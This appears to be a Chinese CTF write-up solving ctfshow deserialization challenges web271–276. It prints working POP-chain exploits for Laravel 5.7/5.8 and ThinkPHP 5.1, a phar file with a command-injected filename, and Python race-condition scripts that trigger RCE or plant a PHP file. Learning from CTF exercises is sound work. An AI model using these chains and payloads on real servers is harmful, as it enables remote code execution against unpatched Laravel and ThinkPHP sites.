ctfshow-反序列化(web271-web276)

目录

web271

web272-273

web274

web275

web276

为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE

前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打

首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗

就像收集的框架确定有用后 可以保留 以后没准遇得到

web271

laravel5.7反序列化漏洞

使用网上公布的反序列化的链子

源代码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

exp

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
	class PendingCommand{
		protected $command;
		protected $parameters;
		protected $app;
		public $test;
		public function __construct($command, $parameters,$class,$app)
	    {
	        $this->command = $command;
	        $this->parameters = $parameters;
	        $this->test=$class;
	        $this->app=$app;
	    }
	}
}
namespace Illuminate\Auth{
	class GenericUser{
		protected $attributes;
		public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
}
namespace Illuminate\Foundation{
	class Application{
		protected $hasBeenBootstrapped = false;
		protected $bindings;
		public function __construct($bind){
			$this->bindings=$bind;
		}
	}
}
namespace{
	echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格? ?$IFS$9 是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格

发现了flag

查看flag内容

web272-273

laravel5.8反序列化漏洞

源码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

看看之前的poc可不可以 不行,新找一个

exp

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = 'tac$IFS/f*';
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

查看根目录文件

查看flag

成功

大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中

然后的到路径后 写木马到1.php

web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使

web274

thinkphp框架

5.1也有几个链子

现在就是找反序列化入口

查看源码发现提示 GET方式传入data参数?

网上找一个thinkphp5.1的链子

exp

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

通过lin进行传参

成功获取flag

web275

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
    public $filename; //定义三个属性
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){//将传进来的两个参数赋值给属性
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){//在filename如果匹配了php 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        return $this->evilfile;//返回evilfile
    }
    public function __destruct(){//反序列化的时候 如果evilfile为真
        if($this->evilfile){ //执行系统命令rm $filename
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){//传入fn
    $content = file_get_contents('php://input');//获取通过 HTTP POST 请求发送的原始数据。
    $f = new filter($_GET['fn'],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的  会先触发construct后触发destruct
    if($f->checkevil()===false){//如果evilfile为假
        file_put_contents($_GET['fn'], $content);//写文件 将POST值写入GET的值的文件中
        copy($_GET['fn'],md5(mt_rand()).'.txt');//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除GET的文件 前面代表网站根目录
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}
where is flag?
//

看的差不多足够我们RCE(远程代码执行)了

很简单

查看flag

可以看到都不需要干别的就能rce了

web276

（这道题我感觉我比百度搜的都细 这道题他们都不写）

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/7 23：20
*/
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){//必须保证evilfile和admin都为真 才可以
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

<?php file_put_contents("new_file.txt", "Hello, World!"); ?>

需要先写入phar包，然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

phar包通过 phar:// 解析获取处理时会反序列化

先生成一个我们所需的phar包（使用php生成phar模板按照我们所需要求修改的）

生成phar包

<?php
highlight_file(__FILE__);
class filter{
    public $filename="1;tac f*";
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a=new filter();
@unlink('phar.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('phar.phar');  //创建一个phar对象，文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a);//写入meta-data 这里进行序列化
$phar->addFromString("phar.txt","phar");  //添加要压缩的文件
$phar->stopBuffering();

用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强)

python脚本

import requests
import threading
url = 'http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True
def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据（图像视频什么的必须使用二进制方式读取否则乱码）
def unserialize(): # 触发反序列化
    global flag  #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
    r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取
    #请求如果获取到内容了保存在r变量中
    if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
        print(r.text)
        flag = False
while flag: # 线程条件竞争，直到读到flag
    threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
    threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行

执行python代码 成功获取到flag

因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇?

说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 ，最后访问这个文件 可惜没有成功 但是是个思路记录一下吧

import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
    requests.post(url+'?fn=1.PHP', data=data)
def get1():
    requests.get(url + '1.php')
def get2():
    r = requests.get(url+'tzy.php')
    if 'PHP Version' in r.text:
        global flag
        flag = False
while flag:
    threading.Thread(target=get1).start()
    threading.Thread(target=get2).start()
    threading.Thread(target=post).start()